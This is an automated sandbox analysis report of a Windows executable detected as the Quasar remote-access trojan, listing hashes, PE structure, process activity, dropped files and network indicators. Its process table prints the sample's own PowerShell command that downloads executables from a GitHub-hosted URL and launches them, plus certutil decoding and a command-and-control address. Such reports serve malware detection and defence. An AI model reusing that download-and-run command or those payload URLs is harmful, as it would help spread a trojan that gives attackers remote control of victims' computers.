| File name: | SRBPolaris.exe |
| Full analysis: | https://app.any.run/tasks/8ecac9b9-a002-4d35-aec8-6e52ab14cae0 |
| Verdict: | Malicious activity |
| Threats: | Quasar is a very popular RAT in the world thanks to its code being available in open-source. This malware can be used to control the victim’s computer remotely. |
| Analysis date: | November 29, 2020, 15:49:53 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 3AFFF85A45303658EDA635F50DE07667 |
| SHA1: | 705F08FA6901C050125D4919CF2686F465162347 |
| SHA256: | 1C5E90E974735C3E903D0923A1CD4133FB45E44A9C99043D8CDE1D7FD8562110 |
| SSDEEP: | 49152:KKEgmgN2xFg6gqFV06KCPtZFrmI8e3tjR+uCS+ysZShLz7f/+bMnEPUnFOrTJ:+gN2Tgw0bSZFrmCn+uCSkGzDjVM |
MALICIOUS
Application was dropped or rewritten from another process
- QZXm.exe (PID: 3920)
- winlogon.com (PID: 2736)
- winlogon.com (PID: 756)
Runs app for hidden code execution
- cmd.exe (PID: 3336)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 2936)
Writes to a start menu file
- winlogon.com (PID: 756)
QUASAR was detected
- RegAsm.exe (PID: 2464)
SUSPICIOUS
Executes PowerShell scripts
- SRBPolaris.exe (PID: 2620)
Starts CMD.EXE for commands execution
- QZXm.exe (PID: 3920)
- cmd.exe (PID: 3336)
Creates files in the user directory
- powershell.exe (PID: 1452)
- powershell.exe (PID: 3200)
- winlogon.com (PID: 756)
- RegAsm.exe (PID: 2464)
Drop AutoIt3 executable file
- cmd.exe (PID: 2936)
- winlogon.com (PID: 756)
Starts CertUtil for decode files
- cmd.exe (PID: 3336)
- cmd.exe (PID: 2936)
Executable content was dropped or overwritten
- cmd.exe (PID: 2936)
- winlogon.com (PID: 756)
Application launched itself
- cmd.exe (PID: 3336)
- winlogon.com (PID: 2736)
Starts application with an unusual extension
- cmd.exe (PID: 2936)
- winlogon.com (PID: 2736)
Checks for external IP
- RegAsm.exe (PID: 2464)
INFO
Dropped object may contain Bitcoin addresses
- certutil.exe (PID: 3696)
- winlogon.com (PID: 756)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2014:10:31 04:28:47+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 27136 |
| InitializedDataSize: | 3173888 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x69d0 |
| OSVersion: | 6.3 |
| ImageVersion: | 6.3 |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 50.61.71.2 |
| ProductVersionNumber: | 50.61.71.2 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | German |
| CharacterSet: | Unicode |
| Comments: | Put Line Software |
| CompanyName: | Put Line Software |
| FileDescription: | Put Line Software |
| LegalCopyright: | Put Line Software |
| LegalTrademarks: | Put Line Software |
| ProductName: | Put Line Software |
| FileVersion: | 50.61.712 |
| ProductVersion: | 50.61.712 |
| InternalName: | Put Line |
| OriginalFileName: | Put Line.exe |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 31-Oct-2014 03:28:47 |
| Detected languages: |
|
| Debug artifacts: |
|
| Comments: | Put Line Software |
| CompanyName: | Put Line Software |
| FileDescription: | Put Line Software |
| LegalCopyright: | Put Line Software |
| LegalTrademarks: | Put Line Software |
| ProductName: | Put Line Software |
| FileVersion: | 50.61.712 |
| ProductVersion: | 50.61.712 |
| InternalName: | Put Line |
| OriginalFilename: | Put Line.exe |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F0 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 31-Oct-2014 03:28:47 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00006964 | 0x00006A00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.35038 |
.data | 0x00008000 | 0x00001A8C | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.17593 |
.idata | 0x0000A000 | 0x0000107C | 0x00001200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.04714 |
.rsrc | 0x0000C000 | 0x00304DD7 | 0x00304E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.99235 |
.reloc | 0x00311000 | 0x000008C0 | 0x00000A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.37329 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.05393 | 1511 | Latin 1 / Western European | English - United States | RT_MANIFEST |
2 | 3.15864 | 744 | Latin 1 / Western European | English - United States | RT_ICON |
3 | 3.07737 | 488 | Latin 1 / Western European | English - United States | RT_ICON |
4 | 3.50949 | 296 | Latin 1 / Western European | English - United States | RT_ICON |
5 | 5.56662 | 3752 | Latin 1 / Western European | English - United States | RT_ICON |
6 | 5.94251 | 2216 | Latin 1 / Western European | English - United States | RT_ICON |
7 | 5.99361 | 1736 | Latin 1 / Western European | English - United States | RT_ICON |
8 | 3.37828 | 1384 | Latin 1 / Western European | English - United States | RT_ICON |
9 | 7.98515 | 55762 | Latin 1 / Western European | English - United States | RT_ICON |
10 | 5.33023 | 9640 | Latin 1 / Western European | English - United States | RT_ICON |
Imports
ADVAPI32.dll |
COMCTL32.dll |
Cabinet.dll |
GDI32.dll |
KERNEL32.dll |
USER32.dll |
VERSION.dll |
msvcrt.dll |
Total processes
52
Monitored processes
14
Malicious processes
8
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 756 | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\winlogon.com i | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\winlogon.com | winlogon.com | ||||||||||||
User: admin Company: AutoIt Team Integrity Level: MEDIUM Description: AutoIt v3 Script Exit code: 0 Version: 3, 3, 14, 2 Modules
| |||||||||||||||
| 1452 | powershell -command Start-Process QZXm.exe; Start-Process Qk.exe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | SRBPolaris.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2036 | certutil -decode 39-99 6-1 | C:\Windows\system32\certutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2280 | ping 127.0.0.1 -n 30 | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2464 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | winlogon.com | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Assembly Registration Utility Exit code: 0 Version: 4.7.3062.0 built by: NET472REL1 Modules
| |||||||||||||||
| 2504 | cmd /c nHqaWbz | C:\Windows\system32\cmd.exe | — | QZXm.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2620 | "C:\Users\admin\AppData\Local\Temp\SRBPolaris.exe" | C:\Users\admin\AppData\Local\Temp\SRBPolaris.exe | — | explorer.exe | |||||||||||
User: admin Company: Put Line Software Integrity Level: MEDIUM Description: Put Line Software Exit code: 0 Version: 50.61.712 Modules
| |||||||||||||||
| 2736 | winlogon.com i | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\winlogon.com | — | cmd.exe | |||||||||||
User: admin Company: AutoIt Team Integrity Level: MEDIUM Description: AutoIt v3 Script Exit code: 0 Version: 3, 3, 14, 2 Modules
| |||||||||||||||
| 2936 | cmd | C:\Windows\system32\cmd.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3200 | powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/f926/f/main/bild4.exe,https://raw.githubusercontent.com/f926/f/main/SRBPolaris.exe -Destination QZXm.exe,Qk.exe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | SRBPolaris.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
900
Read events
774
Write events
126
Delete events
0
Modification events
| (PID) Process: | (3200) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2464) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2464) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2464) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2464) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2464) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2464) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
3
Suspicious files
10
Text files
9
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3200 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q2VVKDNJQ3X5U7R78L0E.temp | — | |
MD5:— | SHA256:— | |||
| 1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FUKGDBBZ16O27DLRGUWP.temp | — | |
MD5:— | SHA256:— | |||
| 3920 | QZXm.exe | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\70-6 | image | |
MD5:— | SHA256:— | |||
| 1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF145080.TMP | binary | |
MD5:— | SHA256:— | |||
| 2620 | SRBPolaris.exe | C:\Users\admin\AppData\Local\Temp\IXP000.TMP\DKEp | binary | |
MD5:— | SHA256:— | |||
| 3200 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1436ae.TMP | binary | |
MD5:— | SHA256:— | |||
| 756 | winlogon.com | C:\Users\admin\AppData\Roaming\OzrOnORARl\TjbgPTajj | text | |
MD5:— | SHA256:— | |||
| 3200 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3920 | QZXm.exe | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\8-28 | text | |
MD5:— | SHA256:— | |||
| 1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
3
DNS requests
4
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2464 | RegAsm.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/ | unknown | text | 288 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 151.101.0.133:443 | raw.githubusercontent.com | Fastly | US | malicious |
2464 | RegAsm.exe | 208.95.112.1:80 | ip-api.com | IBURST | — | malicious |
2464 | RegAsm.exe | 94.242.224.249:222 | — | root SA | LU | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
raw.githubusercontent.com |
| shared |
VdCiOMe.VdCiOMe |
| unknown |
yrNmYmLHuXeSriJvzdiRf.yrNmYmLHuXeSriJvzdiRf |
| unknown |
ip-api.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2464 | RegAsm.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup ip-api.com |
2464 | RegAsm.exe | Potential Corporate Privacy Violation | AV POLICY Internal Host Retrieving External IP Address (ip-api. com) |
2464 | RegAsm.exe | A Network Trojan was detected | REMOTE [PTsecurity] Quasar.RAT IP Lookup |
2464 | RegAsm.exe | A Network Trojan was detected | REMOTE [PTsecurity] Quasar |
1 ETPRO signatures available at the full report